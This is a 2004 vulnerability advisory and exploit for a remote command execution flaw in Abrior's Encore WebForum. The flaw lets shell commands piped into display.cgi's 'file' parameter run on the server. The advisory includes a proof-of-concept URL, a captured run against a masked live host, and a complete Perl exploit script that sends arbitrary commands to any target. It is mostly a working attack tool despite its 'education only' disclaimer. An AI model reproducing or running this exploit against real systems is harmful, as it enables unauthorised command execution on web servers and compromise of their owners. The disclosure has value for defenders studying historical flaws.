Abrior.txt

`==================================================================  
Product : Abrior's Encore WebForum  
Versions : Unchecked (maybe version I)  
Bug : Remote Command Execution via Display.cgi  
Impact : Attackers can execute remote command  
Risk : Medium/High  
Date : April 3, 2004  
Bug found by : k159 from g-security (g-security.tk)  
Reported & exploit by: Schizoprenic from Xnuxer Research Laboratory  
Reference : http://www.infosekuriti.com  
Email : [email protected], [email protected]  
==================================================================  
  
Description  
-------------  
Bug exist in Abrior's Encore WebForum via display.cgi in forum root folder (forumcgi).  
Attacker can execute command via browser with doing request to display.cgi and   
launch command from "file" variable.  
  
Proof Of Concept  
----------------  
  
http://www.target.com/encore/forumcgi/display.cgi?preftemp=temp&page=anonymous&file=|uname -a|  
  
Exploit  
-------  
This exploit presented by Schizoprenic from Xnuxer Research Lab.  
It just for education purpose only.  
  
[xnuxer@Server xnuxer]$ perl xdisp.pl -t www.xxxxxxx.com -d /encore/forumcgi -c "uname -a;id;uptime;"  
Remote Exploit Aborior's Encore Web Forum by Schizoprenic  
Xnuxer Research Laboratory (http://www.infosekuriti.com)  
Target: www.xxxxxxx.com  
Path Dir: /encore/forumcgi  
Command: uname -a;id;uptime;  
--------------------RESULT--------------------  
Linux ns1.xxxxxxx.com 2.4.20-20.9.2INLDSmpIPvsDs #1 SMP Thu Dec 4 19:28:44 EST 2003 i686 i686 i386 GNU/Linux  
uid=48(apache) gid=48(apache) groups=48(apache),2523(psaserv),10044(webdev)  
01:41:08 up 17 days, 6:00, 0 users, load average: 0.00, 0.03, 0.00  
----------------------------------------------  
  
Note: The real name of domain target in example protected for security reason.  
  
############################################################  
#!/usr/bin/perl -w  
#  
# Remote Exploit Aborior's Encore Web Forum by Schizoprenic  
# Bug found by k-159 from g-security.tk  
  
require LWP::UserAgent;  
use Getopt::Std;  
  
getopts('t:d:c:');  
our($opt_t, $opt_d, $opt_c);  
  
my $target = $opt_t;  
my $dir = $opt_d;  
my $cmd = $opt_c;  
  
print "Remote Exploit Aborior's Encore Web Forum by Schizoprenic\n";  
print "Xnuxer Research Laboratory (http://www.infosekuriti.com)\n";  
print "Target: $target\n";  
print "Path Dir: $dir\n";  
print "Command: $cmd\n";  
  
my $ua = LWP::UserAgent->new;  
$ua->agent("IE/6.0 Windows");  
$ua->timeout(10);  
$ua->env_proxy;  
  
$req = "http://$target$dir/display.cgi?preftemp=temp&page=anonymous&file=|$cmd|";  
  
my $response = $ua->get($req);  
print "--------------------RESULT--------------------\n";  
  
if ($response->is_success) {  
print $response->content;  
} else {  
die $response->status_line;  
}  
  
print "----------------------------------------------\n";  
  
# EOF by Xnuxer  
--   
`